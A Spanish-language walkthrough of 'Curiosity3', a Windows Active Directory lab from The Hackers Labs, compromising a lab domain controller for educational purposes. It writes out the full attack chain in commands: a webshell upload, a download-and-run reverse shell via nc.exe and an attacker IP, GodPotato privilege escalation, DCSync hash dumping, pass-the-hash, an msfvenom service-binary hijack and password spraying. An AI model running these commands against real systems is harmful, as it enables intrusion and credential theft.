June 12, 2026
The Hackers Labs Writeup — Curiosity3 (Spanish)
A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “Curiosity3”.
David Prieto Montero (a.k.a Pyth0nK1d)
27 min read
Este laboratorio está catalogado con la dificultad "Profesional" y su autor es "K0B4KS".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Contraseña débil, Curiosidad, DCSync, Directorio Activo (Active Directory), Divulgación de información, IIS (Internet Information Services), Investigación, Mala configuración de privilegios, Mala configuración de servicio, Movimiento lateral, Pass-the-Hash (PtH), Permisos mal configurados o laxos, Reutilización de contraseñas, Windows
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Divulgación de información accesible a través de la página web encontrada, exponiendo correos en formato EML. Se detecta en uno de ellos las credenciales en texto plano para el usuario de dominio
Vicky.Tale. Acceso inicial al DC como este usuario a través de WinRM. - Detección de permisos laxos en el directorio raíz del servicio que expone la web. Esto permite subir una webshell que permite la ejecución de comandos y la correspondiente escalada de privilegios al contexto del usuario de dominio
svcpool. - **Identificación y abuso del privilegio **SeImpersonatePrivilege asignado a este usuario de dominio. Esto permite la ejecución privilegiada de comandos en el contexto de
NT Authority\SYSTEM. - Persistencia añadiendo al usuario de dominio
Vicky.Taleal grupo Domain Admins y aprovechando este para realizar un ataque DCSync para la extracción de credenciales válidas del dominio. - Utilizar el hash del usuario administrador de dominio
Administrator(Domain Admin) extraído para acceder de forma privilegiada al DC a través de WinRM mediante Pass-the-Hash (PtH). - Identificación y explotación de otros vectores de escalada de privilegios encontrados además de documentar una forma alternativa para extraer información sobre el servicio hMailServer sin usar Windows que puede ser de utilidad para el lector (solo para verdaderos curiosos).
Configuración previa necesaria
En el PDF adjunto a este laboratorio se indica la importancia de la configuración de red previa a realizar.
Indico a continuación una serie de recomendaciones a seguir según mi propia experiencia con este laboratorio:
- Utilizar el hipervisor VirtualBox para realizar este laboratorio y evitar así posibles problemas de compatibilidad.
- Realizar la configuración de red exactamente como se indica en el PDF adjunto.
- No he tenido ningún problema en particular con este laboratorio. Sin embargo, siempre recomiendo que en el caso de encontrarse con algún problema, volver a importarlo en VirtualBox.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 192.168.56.19ping -c 1 192.168.56.19
Se puede comprobar que el TTL asignado es 128, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es Microsoft Windows.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 192.168.56.19 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 192.168.56.19 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 21,25,53,80,88,110,135,139,143,389,445,464,587,593,636,3268,3269,5985,9389,47001,49664,49665,49670,49671,49672,49674,49681,49682,49685,49693,49699 -n -Pn 192.168.56.19 -oN servicesnmap -sCV -p 21,25,53,80,88,110,135,139,143,389,445,464,587,593,636,3268,3269,5985,9389,47001,49664,49665,49670,49671,49672,49674,49681,49682,49685,49693,49699 -n -Pn 192.168.56.19 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (Vicky.Tale)
En este caso se detecta que hay diecinueve puertos abiertos (excluyendo los high ports):
- Puerto 21 (servicio FTP, FileZilla ftpd 1.10.0)
- Puerto 25 (servicio SMTP, hMailServer smtpd)
- Puerto 53 (servicio DNS, Simple DNS Plus)
- Puerto 80 (servicio HTTP, Microsoft IIS 10.0)
- Puerto 88 (servicio Kerberos, Microsoft Windows Kerberos)
- Puerto 110 (servicio POP3, hMailServer pop3d)
- Puerto 135 (servicio RPC, Microsoft Windows RPC)
- Puerto 139 (protocolo NetBIOS, Microsoft Windows SMB)
- Puerto 143 (servicio IMAP, hMailServer imapd)
- Puerto 389 (servicio LDAP, Microsoft Windows Active Directory LDAP)
- Puerto 445 (protocolo SMB, Microsoft Windows SMB)
- Puerto 464 (servicio Kerberos, kpasswd)
- Puerto 587 (servicio SMTP, hMailServer smtpd)
- Puerto 593 (servicio RPC, Microsoft Windows RPC)
- Puerto 636 (servicio LDAPS, Lightweight Directory Access Protocol over TLS/SSL)
- Puerto 3268 (servicio LDAP, LDAP connection to Global Catalog)
- Puerto 3269 (servicio LDAPS, LDAP connection to Global Catalog over SSL)
- Puerto 5985 (servicio WinRM, Microsoft Windows Remote Management)
- Puerto 9389 (servicio ADWS, Active Directory Web Services)
Además, gracias a la detección de estos servicios, se puede comprobar que el sistema subyacente es Windows aparentemente ejecutando servicios asociados a Directorio Activo (Active Directory) dando a entender que actúa como un controlador de dominio (Domain Controller****, DC).
Al revisar el puerto 80, se detecta una página disponible sobre una consultora informática denominada "Nextech".
URL -> http://192.168.56.19URL -> http://192.168.56.19
Revisando los distintos apartados se detectan varias páginas de información estática, hasta que se encuentra una página de contacto, la cual parece ser dinámica o funcional, reconocible debido a su extensión.
URL -> http://192.168.56.19/contact.aspURL -> http://192.168.56.19/contact.asp
Por ello, se prueba a rellenar este formulario.
Al pulsar en "Enviar", aparece un mensaje indicando que "un correo se ha enviado".
Tras interactuar con el formulario varias veces obteniendo la misma respuesta, se escanea la web en busca de nuevos recursos web accesibles, de los cuales se descubren algunos nuevos.
gobuster dir -u http://192.168.56.19 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 32 -x html,txt,zip,asp,aspxgobuster dir -u http://192.168.56.19 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 32 -x html,txt,zip,asp,aspx
Al acceder al directorio "/contact/", se puede comprobar que dispone de listado de directorios habilitado, pudiendo comprobar la existencia de una serie de recursos recientemente creados.
URL -> http://192.168.56.19/contact/URL -> http://192.168.56.19/contact/
Al acceder al último creado, se puede comprobar que este contiene un archivo en formato EML o E-Mail, el cual es un formato para guardar en texto plano correos electrónicos recibidos.
URL -> http://192.168.56.19/contact/CF/
...
{CF<RECORTADO>}.emlURL -> http://192.168.56.19/contact/CF/
...
{CF<RECORTADO>}.eml
Al descargarlo y abrirlo con un editor de texto cualquiera, se puede apreciar que este parece coincidir con el correo enviado a través del formulario de contacto, donde se puede apreciar la información facilitada a través del formulario de contacto con sus diferentes apartados junto a información como el dominio asociado al Directorio Activo y el nombre asociado al DC.
Además, se puede comprobar que en el cuerpo del mensaje se incluyen unas credenciales en texto plano asociadas al usuario de dominio "Vicky.Tale".
Dominio: curiosity.thl
DC: curiosity-dc.curiosity.thl
URL (descarga): http://192.168.56.19/contact/CF/{CF<RECORTADO>}.eml
(abrir con editor de texto)
mousepad {CF<RECORTADO>}.eml
...
From: pyth0nk1d@test.mail
Subject: Pyth0nK1d was here
...
Credentials:
Usuario: vicky.tale
Contraseña: <RECORTADO>Dominio: curiosity.thl
DC: curiosity-dc.curiosity.thl
URL (descarga): http://192.168.56.19/contact/CF/{CF<RECORTADO>}.eml
(abrir con editor de texto)
mousepad {CF<RECORTADO>}.eml
...
From: pyth0nk1d@test.mail
Subject: Pyth0nK1d was here
...
Credentials:
Usuario: vicky.tale
Contraseña: <RECORTADO>
Tras probar estas credenciales contra el servicio LDAP, se puede comprobar que estas son válidas. Además se puede comprobar que estas credenciales son válidas para acceder al sistema a través de WinRM.
netexec ldap 192.168.56.19 -d 'curiosity.thl' -u 'vicky.tale' -p '<RECORTADO>'
netexec winrm 192.168.56.19 -d 'curiosity.thl' -u 'vicky.tale' -p '<RECORTADO>'netexec ldap 192.168.56.19 -d 'curiosity.thl' -u 'vicky.tale' -p '<RECORTADO>'
netexec winrm 192.168.56.19 -d 'curiosity.thl' -u 'vicky.tale' -p '<RECORTADO>'
Por ello, es posible acceder al sistema a través del servicio WinRM como el usuario de dominio "Vicky.Tale".
evil-winrm -i 192.168.56.19 -u 'vicky.tale' -p "<RECORTADO>"
whoami
hostname
ipconfigevil-winrm -i 192.168.56.19 -u 'vicky.tale' -p "<RECORTADO>"
whoami
hostname
ipconfig
Nota importante: En este punto es posible utilizar SharpHound/BloodHound/bloodhound-python para obtener más información sobre el dominio. Sin embargo, a pesar de haber extraído información del dominio con esta y analizarla más en detalle, en este laboratorio en particular no ha sido necesario el uso de estas herramientas para completarlo.
Escalada de privilegios (Vicky.Tale -> svcpool)
Tras enumerar, se detecta que el contenido del directorio raíz de la web es modificable por cualquier usuario.
icacls C:\inetpub\wwwroot
...
C:\inetpub\wwwroot Everyone:(OI)(CI)(M)icacls C:\inetpub\wwwroot
...
C:\inetpub\wwwroot Everyone:(OI)(CI)(M)
Esto permite realizar acciones como modificar el contenido de la web o incluso subir una webshell. Por ello, se busca una webshell compatible con IIS 10.0, en este caso en ASPX.
cp /usr/share/webshells/aspx/cmdasp.aspx .
ls -al cmdasp.aspx
file cmdasp.aspxcp /usr/share/webshells/aspx/cmdasp.aspx .
ls -al cmdasp.aspx
file cmdasp.aspx
En este punto, se sube este archivo a través de la sesión establecida mediante WinRM.
cd C:\inetpub\wwwroot
dir
upload cmdasp.aspx
dircd C:\inetpub\wwwroot
dir
upload cmdasp.aspx
dir
De esta forma, es posible acceder a la webshell a través del navegador y revisar que se pueden ejecutar comandos. En este caso, como el usuario de dominio "svcpool".
URL -> http://192.168.56.19/cmdasp.aspx
Comando: whoami
Resultado: curiosity\svcpoolURL -> http://192.168.56.19/cmdasp.aspx
Comando: whoami
Resultado: curiosity\svcpool
Para obtener una consola inversa de este usuario, primero se hace disponible el binario "nc.exe" a través de un servidor HTTP.
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
python3 -m http.server 80cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
python3 -m http.server 80
Después, se establece un puerto a la escucha.
rlwrap nc -nvlp 1337rlwrap nc -nvlp 1337
Y por último, se define una carga útil que realice la descarga del binario "nc.exe" y se utilice para ejecutar una consola inversa, abriendo así un CMD.
Comando: curl http://192.168.56.102/nc.exe -o C:\temp\nc.exe & C:\temp\nc.exe 192.168.56.102 1337 -e C:\Windows\SysWOW64\cmd.exeComando: curl http://192.168.56.102/nc.exe -o C:\temp\nc.exe & C:\temp\nc.exe 192.168.56.102 1337 -e C:\Windows\SysWOW64\cmd.exe
Al revisar el puerto a la escucha previamente establecido, se puede comprobar que se obtiene acceso como el usuario de dominio "svcpool".
whoami
hostname
ipconfigwhoami
hostname
ipconfig
Escalada de privilegios (svcpool -> Vicky.Tale [privilegiado] -> Administrator)
Al revisar la información asociada al usuario "svcpool", se puede comprobar que tiene varios privilegios asignados, entre los cuales destaca "SeImpersonatePrivilege".
En resumen**, **SeImpersonatePrivilege es un privilegio que permite a un proceso asumir temporalmente la identidad de otro usuario después de autenticarse.
Se utiliza legítimamente para que servicios y aplicaciones actúen en nombre de usuarios. Sin embargo, este puede aprovecharse para escalar privilegios, permitiendo ejecutar procesos con privilegios de NT Authority\SYSTEM.
Referencia (SeImpersonatePrivilege): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#seimpersonateprivilege
whoami /allReferencia (SeImpersonatePrivilege): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#seimpersonateprivilege
whoami /all
Esto información apunta directamente a una serie de técnicas las cuales aprovechan la capacidad de **suplantación o secuestro de **tokens combinada con el comportamiento de ciertos servicios privilegiados de Windows para escalar privilegios. Dicho de otra forma, las bien conocidas patatas o ****potatos.
Referencia (Información sobre las patatas): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.htmlReferencia (Información sobre las patatas): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.htmlPara afinar más, se enumera la información del sistema, lo que permite descubrir con más detalle información específica. Por ejemplo, se identifica que es un sistema Microsoft Windows Server 2025 Standard Build 26100 de arquitectura 64 bits.
Esta información permite reducir las opciones a un exploit denominado ****GodPotato.
Las características destacables de este exploit son las siguientes:
- Funciona universalmente en cualquier versión de Windows sin mitigaciones aplicadas.
- Puede escalar privilegios instantáneamente a NT Authority\SYSTEM desde cualquier cuenta con privilegios adecuados.
- **Se salta medidas de seguridad que bloquean otros **exploits de su misma familia (como protecciones DCOM, restricción en comprobaciones de tokens o Windows Defender).
Referencia (Información de GodPotato): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.html#godpotatoReferencia (Información de GodPotato): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.html#godpotatoEl exploit es posible encontrarlo en el siguiente repositorio de GitHub.
Exploit (GodPotato): https://github.com/BeichenDream/GodPotatoExploit (GodPotato): https://github.com/BeichenDream/GodPotatoNota importante: en el caso de que esta no funcionara, la siguiente opción sería utilizar SigmaPotato, ya que es la alternativa más moderna de GodPotato que añade entre otras características la ejecución en memoria (sin tocar disco). Más información aquí.
Tras descargar la versión adecuada, se sube al directorio "temp" a través del servidor HTTP establecido previamente.
cd C:\temp
curl http://192.168.56.102/GodPotato-NET4.exe -o C:\temp\GodPotato-NET4.exe
dir GodPotato-NET4.execd C:\temp
curl http://192.168.56.102/GodPotato-NET4.exe -o C:\temp\GodPotato-NET4.exe
dir GodPotato-NET4.exe
Tras probar a ejecutarlo, se puede comprobar que se obtiene ejecución de comandos en el contexto de NT Authority\SYSTEM.
cd C:\Users\svcpool
C:\temp\GodPotato-NET4.exe -cmd "cmd /c whoami"cd C:\Users\svcpool
C:\temp\GodPotato-NET4.exe -cmd "cmd /c whoami"
Teniendo este nivel de privilegios, se realiza una operación de persistencia para poder continuar con la escalada de privilegios.
Para ello, se añade al usuario "Vicky.Tale" al grupo de administradores de dominio. Primero se comprueba que el único usuario perteneciente a este grupo es "Administrator".
powershell -ep bypass
C:\temp\GodPotato-NET4.exe -cmd 'net group \"Domain Admins\"'powershell -ep bypass
C:\temp\GodPotato-NET4.exe -cmd 'net group \"Domain Admins\"'
A continuación, se añade el usuario "Vicky.Tale" al grupo.
C:\temp\GodPotato-NET4.exe -cmd 'net group \"Domain Admins\" vicky.tale /add'C:\temp\GodPotato-NET4.exe -cmd 'net group \"Domain Admins\" vicky.tale /add'
Y se termina comprobando que ya pertenece al grupo.
C:\temp\GodPotato-NET4.exe -cmd 'net group \"Domain Admins\"'C:\temp\GodPotato-NET4.exe -cmd 'net group \"Domain Admins\"'
Sin embargo, al comprobarlo desde su sesión mediante WinRM, este no parece tener la asignación hecha, ya que no se muestra el nuevo grupo en su lista de membresía.
whoami
whoami /groupswhoami
whoami /groups
Esto tiene fácil solución, ya que con salir de la sesión y volver a entrar, el usuario recupera la información del estado de su cuenta actualizado junto a los privilegios de los que dispone. De esta forma, el usuario "Vicky.Tale" hereda los privilegios de un usuario administrador de dominio.
exit
evil-winrm -i 192.168.56.19 -u 'vicky.tale' -p "<RECORTADO>"
whoami
whoami /groups
hostname
ipconfigexit
evil-winrm -i 192.168.56.19 -u 'vicky.tale' -p "<RECORTADO>"
whoami
whoami /groups
hostname
ipconfig
Al hacer que este usuario tenga máximos privilegios sobre el dominio, este tiene la capacidad de realizar un ataque DCSync.
Este consiste en solicitar datos de replicación del Directorio Activo al Controlador de Dominio, obteniendo así información privilegiada como los hashes de contraseñas de las cuentas del dominio, entre otros.
impacket-secretsdump curiosity.thl/vicky.tale:'<RECORTADO>'@192.168.56.19impacket-secretsdump curiosity.thl/vicky.tale:'<RECORTADO>'@192.168.56.19
En este punto, se puede probar que es posible obtener acceso como el usuario administrador de dominio mediante Pass-the-Hash (PtH), o lo que es lo mismo, utilizando su hash NTLM para autenticarse directamente.
Como este usuario tiene los privilegios máximos sobre el dominio, tiene la capacidad para interactuar con cualquier servicio sin restricciones. Por ello, es posible acceder al sistema a través del servicio WinRM como el usuario administrador de dominio "Administrator".
evil-winrm -i 192.168.56.19 -u 'Administrator' -H '<RECORTADO>'
whoami
hostname
ipconfigevil-winrm -i 192.168.56.19 -u 'Administrator' -H '<RECORTADO>'
whoami
hostname
ipconfig
Para terminar, es posible obtener las flags asociadas a este laboratorio. La de usuario que reside en el directorio C:\Users\john.miller\Documents y la de root que reside en el directorio C:\Users\Administrator\Documents.
dir ../../john.miller/Documents
type ../../john.miller/Documents/user.txt
dir ../Documents
type ../Documents/root.txtdir ../../john.miller/Documents
type ../../john.miller/Documents/user.txt
dir ../Documents
type ../Documents/root.txt
En este punto, al haber obtenido acceso como el administrador de dominio, se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
BONUS 1: Escalada de privilegios (John.Miller -> NT Authority\SYSTEM)
Tras continuar investigando sobre el usuario de dominio que contiene la flag de usuario (John.Miller), este resulta que pertenece al grupo "Remote Management Users".
Esto significa que, al igual que el usuario "Vickty.Tale" tiene permitido el acceso al sistema a través de WinRM.
net localgroup "Remote Management Users"net localgroup "Remote Management Users"
Al conocer el hash NTLM tras el ataque DCSync, es posible acceder al sistema a través del servicio WinRM como el usuario de dominio "John.Miller" mediante Pass-the-Hash (PtH), o lo que es lo mismo, utilizando su hash NTLM para autenticarse directamente.
evil-winrm -i 192.168.56.19 -u 'john.miller' -H '<RECORTADO>'evil-winrm -i 192.168.56.19 -u 'john.miller' -H '<RECORTADO>'
Se detecta una herramienta descargada en el directorio C:\temp junto al resto de herramientas utilizadas hasta el momento. Tras revisar su README, esta resulta en ser la herramienta en PowerShell denominada PrivescCheck, la cual es muy útil para identificar vectores de escalada de privilegios.
dir C:\temp
type C:\temp\README.md
...
# PrivescCheck
This script aims to identify __Local Privilege Escalation__ (LPE) vulnerabilities that are usually due to Windows configuration issues, or bad practices. It can also gather useful information for some exploitation and post-exploitation tasks.dir C:\temp
type C:\temp\README.md
...
# PrivescCheck
This script aims to identify __Local Privilege Escalation__ (LPE) vulnerabilities that are usually due to Windows configuration issues, or bad practices. It can also gather useful information for some exploitation and post-exploitation tasks.
Se aprovecha esta herramienta ya presente en el sistema para buscar posibles vectores de escalada de privilegios, esperando a que termine de ejecutarse para revisar los resultados.
PS> cd C:\temp\release
PS> dir PrivescCheck.ps1
PS> powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Risky -Extended"PS> cd C:\temp\release
PS> dir PrivescCheck.ps1
PS> powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Risky -Extended"
Tras analizar la salida de esta herramienta, se detecta un posible vector relacionado con el servicio asociado al servidor FTP FileZilla.
Por un lado, la herramienta detecta que este usuario (John.Miller) tiene permisos para gestionar el servicio (por ejemplo, realizar operaciones para detenerlo/iniciarlo).
Por otro lado, este usuario (John.Miller) también tiene permitido modificar el contenido asociado a este servicio o incluso el propio binario que lo inicia.
Como comprobación adicional y evitar posibles falsos positivos, se realiza una comprobación manual de este hallazgo.
Primero se comprueba los permisos que dispone este usuario sobre el directorio que alberga los recursos del servicio vulnerable. Al parecer, se confirma que el usuario tienen permisos tanto en el directorio como en el propio binario, ya que se le ha otorgado explícitamente acceso completo a estos recursos.
icacls "C:\Program Files\FileZilla Server"
...
C:\Program Files\FileZilla Server CUSIOSITY\john.miller:(OI)(CI)(F)
icacls "C:\Program Files\FileZilla Server\filezilla-server.exe"
...
C:\Program Files\FileZilla Server\filezilla-server.exe CUSIOSITY\john.miller:(I)(F)icacls "C:\Program Files\FileZilla Server"
...
C:\Program Files\FileZilla Server CUSIOSITY\john.miller:(OI)(CI)(F)
icacls "C:\Program Files\FileZilla Server\filezilla-server.exe"
...
C:\Program Files\FileZilla Server\filezilla-server.exe CUSIOSITY\john.miller:(I)(F)
Además, también se confirma que es posible gestionar el servicio "filezilla-server", ya que es posible pararlo e iniciarlo sin que devuelva ningún error.
PS> Stop-Service -Name "filezilla-server"
PS> Start-Service -Name "filezilla-server"PS> Stop-Service -Name "filezilla-server"
PS> Start-Service -Name "filezilla-server"
Esta combinación de malas configuraciones hacen que este servicio sea vulnerable a secuestro de flujo de ejecución debido a mala configuración de permisos en el servicio (T1574.010: Hijack Execution Flow due to Services File Permissions Weakness).
Para aprovechar esta vulnerabilidad y escalar privilegios, se utiliza la herramienta msfvenom para generar una consola inversa como binario en formato EXE.
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.56.102 lport=1337 -f exe -o filezilla-server.exe
file filezilla-server.exemsfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.56.102 lport=1337 -f exe -o filezilla-server.exe
file filezilla-server.exe
A continuación, se establece un puerto a la escucha.
rlwrap nc -nvlp 1337rlwrap nc -nvlp 1337
Para evitar reemplazar el binario original del servicio, se renombra. Una vez hecho eso, se sube a la ubicación original del binario la consola inversa a través de WinRM.
cd "C:\Program Files\FileZilla Server"
mv filezilla-server.exe filezilla-server.exe.old
dir filezilla-server.exe.old
upload filezilla-server.exe
dir filezilla-server.execd "C:\Program Files\FileZilla Server"
mv filezilla-server.exe filezilla-server.exe.old
dir filezilla-server.exe.old
upload filezilla-server.exe
dir filezilla-server.exe
En este punto, se procede a reiniciar el servicio.
PS> Restart-Service -Name "filezilla-server"PS> Restart-Service -Name "filezilla-server"
Al revisar el puerto a la escucha previamente establecido, se puede comprobar que se obtiene acceso como NT Authority\SYSTEM tras el reinicio del servicio.
whoami
hostname
ipconfigwhoami
hostname
ipconfig
BONUS 2: Escalada de privilegios (svcpool -> Administrator)
Desde el usuario de dominio "svcpool" se comprueba que este pertenece al grupo IIS_IUSRS.
En resumen, IIS_IUSRS es un grupo de seguridad local de Windows creado automáticamente cuando se instala IIS (Internet Information Services).
Su propósito principal es dar permisos mínimos necesarios a las aplicaciones web que se ejecutan en IIS, de manera que no se utilice la cuenta de Administrador ni otras cuentas con privilegios elevados.
De esta forma, permite que los procesos de las aplicaciones web (como los Application Pools) tengan los derechos adecuados para acceder a archivos, carpetas y recursos necesarios sin comprometer la seguridad del sistema.
Cada Application Pool de IIS corre bajo una cuenta de identidad. Por defecto, esta cuenta es una identidad de aplicación local llamada ApplicationPoolIdentity. Sin embargo, **es posible configurar usuarios de dominio para que un **Application Pool pueda utilizarlo directamente como cuenta de identidad.
Al existir un Application Pool, es posible que este pueda gestionarse a través de la herramienta appcmd.exe que se incluye con la instalación de IIS por defecto.
Como al acceder por primera vez como el usuario de dominio "svcpool "se termina accediendo al directorio inetsrv, se puede comprobar que el binario existe.
Referencia (appcmd.exe): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
net user svcpool
dir appcmd.exeReferencia (appcmd.exe): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
net user svcpool
dir appcmd.exe
Al usar esta utilidad, se puede comprobar que es posible listar backups de configuración existente sobre la aplicación web servida a través de este servicio.
cmd /C "appcmd list BACKUP"cmd /C "appcmd list BACKUP"
Estos se pueden encontrar y revisar manualmente bajo el directorio C:\inetpub\history. En ellos se pueden encontrar distintas versiones de la configuración aplicada al servicio.
PS> Get-ChildItem "C:\inetpub\history"
PS> Get-ChildItem "C:\inetpub\history\CFGHISTORY_0000000008"PS> Get-ChildItem "C:\inetpub\history"
PS> Get-ChildItem "C:\inetpub\history\CFGHISTORY_0000000008"
Aquí se confirma que el usuario de dominio "svcpool" está siendo utilizado como cuenta de identidad para el Application Pool configurado para este servicio.
En uno de los archivos de configuración encontrados en los backups se encuentran sus credenciales, pero la contraseña se encuentra encriptada utilizando un proveedor de cifrado.
Referencia (Process Model Settings for an Application Pool): https://learn.microsoft.com/en-us/iis/configuration/system.applicationhost/applicationpools/add/processmodel
PS> Get-Content "C:\inetpub\history\CFGHISTORY_0000000008\applicationHost.config"Referencia (Process Model Settings for an Application Pool): https://learn.microsoft.com/en-us/iis/configuration/system.applicationhost/applicationpools/add/processmodel
PS> Get-Content "C:\inetpub\history\CFGHISTORY_0000000008\applicationHost.config"
Lo más fácil en estos casos para extraer las credenciales en texto plano de la cuenta de identidad utilizada para un Application Pool es utilizar la herramienta appcmd.exe con este fin.
Sin embargo, al intentarlo se obtiene un mensaje de error defido a permisos insuficientes.
cmd /c "appcmd list config"
...
ERROR
Description: Cannot read configuration file due to insufficient permissionscmd /c "appcmd list config"
...
ERROR
Description: Cannot read configuration file due to insufficient permissions
En este punto, como ya se disponen de permisos para ejecutar comandos en el contexto de NT Authority\SYSTEM utilizando GodPotato en una escalada de privilegios realizada previamente, se aprovecha este para poder extraer la configuración y probar esto.
En este caso se puede comprobar que es posible extraer la configuración sin errores, obteniendo las credenciales en texto plano del usuario de dominio "svcpool".
PS> C:\temp\GodPotato-NET4.exe -cmd 'cmd /c \"appcmd list config\"'PS> C:\temp\GodPotato-NET4.exe -cmd 'cmd /c \"appcmd list config\"'
Tras probar estas credenciales contra el servicio LDAP, se puede comprobar que estas son válidas.
netexec ldap 192.168.56.19 -u "svcpool" -p '<RECORTADO>'netexec ldap 192.168.56.19 -u "svcpool" -p '<RECORTADO>'
Tras probar un ataque de rociado de contraseñas (password spraying) se detecta que esta contraseña se reutiliza por el usuario administrador de dominio "Administrator".
cat domain-users.txt
netexec ldap 192.168.56.19 -u domain-users.txt -p '<RECORTADO>' --continue-on-successcat domain-users.txt
netexec ldap 192.168.56.19 -u domain-users.txt -p '<RECORTADO>' --continue-on-success
BONUS 3: Extracción de datos de la base de datos de hMailServer sin usar Windows (¡SOLO PARA VERDADEROS CURIOSOS!)
Nota importante: Este apartado nace a partir de un intento de escalada de privilegios que no ha llevado a una resolución que se pueda considerar conclusa. Sin embargo, como también se pueden sacar lecciones útiles para otros escenarios que lo requieran, he decidido mantenerlo y documentarlo. Estoy seguro de que hay otras formas de hacerlo y mejores, pero yo lo he hecho así y me ha funcionado. Por ello, espero le podáis encontrar uso ya sea en CTFs, proyectos personales o en el trabajo.
Para comenzar, se elimina al usuario "Vicky.Tale" del grupo de administradores de dominio para restaurar sus permisos originales. Esto se hace desde la cuenta "Administrator".
net group "Domain Admins"
net group "Domain Admins" vicky.tale /del
net group "Domain Admins"net group "Domain Admins"
net group "Domain Admins" vicky.tale /del
net group "Domain Admins"
En este punto, se comprueba que el usuario de dominio "Vicky.Tale" recupera sus permisos originales.
whoami /groups
exit
evil-winrm -i 192.168.56.19 -u vicky.tale -p '<RECORTADO>'
whoami /groupswhoami /groups
exit
evil-winrm -i 192.168.56.19 -u vicky.tale -p '<RECORTADO>'
whoami /groups
A continuación, se vuelve a utilizar la herramienta "PrivescCheck" para buscar posibles vectores de escalada de privilegios, esperando a que termine de ejecutarse para revisar los resultados.
cd C:\temp\release
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Risky -Extended"cd C:\temp\release
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Risky -Extended"
Tras analizar la salida de esta herramienta, se detecta un posible vector relacionado con el servicio asociado al servicio hMailServer.
La herramienta detecta que este usuario (Vicky.Tale) tiene permitido modificar el contenido asociado a este servicio o incluso el propio binario que lo inicia.
Sin embargo, a diferencia de lo indicado con el servicio "filezilla-server", no hay indicios de que el usuario pueda gestionar el servicio "hMailServer".
Esto sigue haciendo que este servicio sea vulnerable a secuestro de flujo de ejecución debido a mala configuración de permisos en el servicio (T1574.010: Hijack Execution Flow due to Services File Permissions Weakness).
A pesar de que se puede explotar de la misma forma, en esta ocasión habría que esperar a que el servicio se reiniciara de alguna forma para poder realizar la explotación satisfactoria. Como eso no va a pasar, simplemente se documenta este hallazgo.
En este punto, tras continuar revisando los archivos relacionados con este servicio, se decide indagar un poco más sobre el software que hay detrás.
Referencia (hMailServer): https://www.hmailserver.com/Referencia (hMailServer): https://www.hmailserver.com/En resumen, hMailServer consiste en un servidor de correo gratuito para Windows que soporta varios protocolos de correo.
Los correos en sí se guardan como archivos en disco, mientras que la base de datos almacena usuarios, dominios y configuraciones.
Al revisar el directorio "Database", se puede comprobar que existe un archivo con extensión ".sdf", el cual es utilizado por Microsoft SQL Server Compact Edition (MSSQLCE) a modo de persistencia de datos. Por ello, se descarga para analizarse más detenidamente.
cd "C:\Program Files (x86)\hMailServer"
dir Database
cd Database
# Copia de la base de datos a un directorio controlado para evitar problemas en la transferencia
copy hMailServer.sdf C:\temp\hMailServer.sdf
cd C:\temp
download hMailServer.sdfcd "C:\Program Files (x86)\hMailServer"
dir Database
cd Database
# Copia de la base de datos a un directorio controlado para evitar problemas en la transferencia
copy hMailServer.sdf C:\temp\hMailServer.sdf
cd C:\temp
download hMailServer.sdf
Al analizarlo se puede comprobar que parece un archivo encriptado, lo que parece ser normal en este caso.
ls -al hMailServer.sdf
file hMailServer.sdfls -al hMailServer.sdf
file hMailServer.sdf
También se encuentra la configuración específica del programa, donde entre otras cosas se encuentran la clave del administrador encriptada y la clave utilizada para encriptar la base de datos MSSQLCE.
cd "C:\Program Files (x86)\hMailServer\Bin"
dir hMailServer.INIcd "C:\Program Files (x86)\hMailServer\Bin"
dir hMailServer.INI
Tras investigar, resulta que la contraseña utilizada para encriptar la base de datos consiste en una implementación no estándar de Blowfish, lo que permite obtener la contraseña en texto plano directamente.
En el proceso de investigación, se encuentra una herramienta que automatiza el proceso de desencriptado.
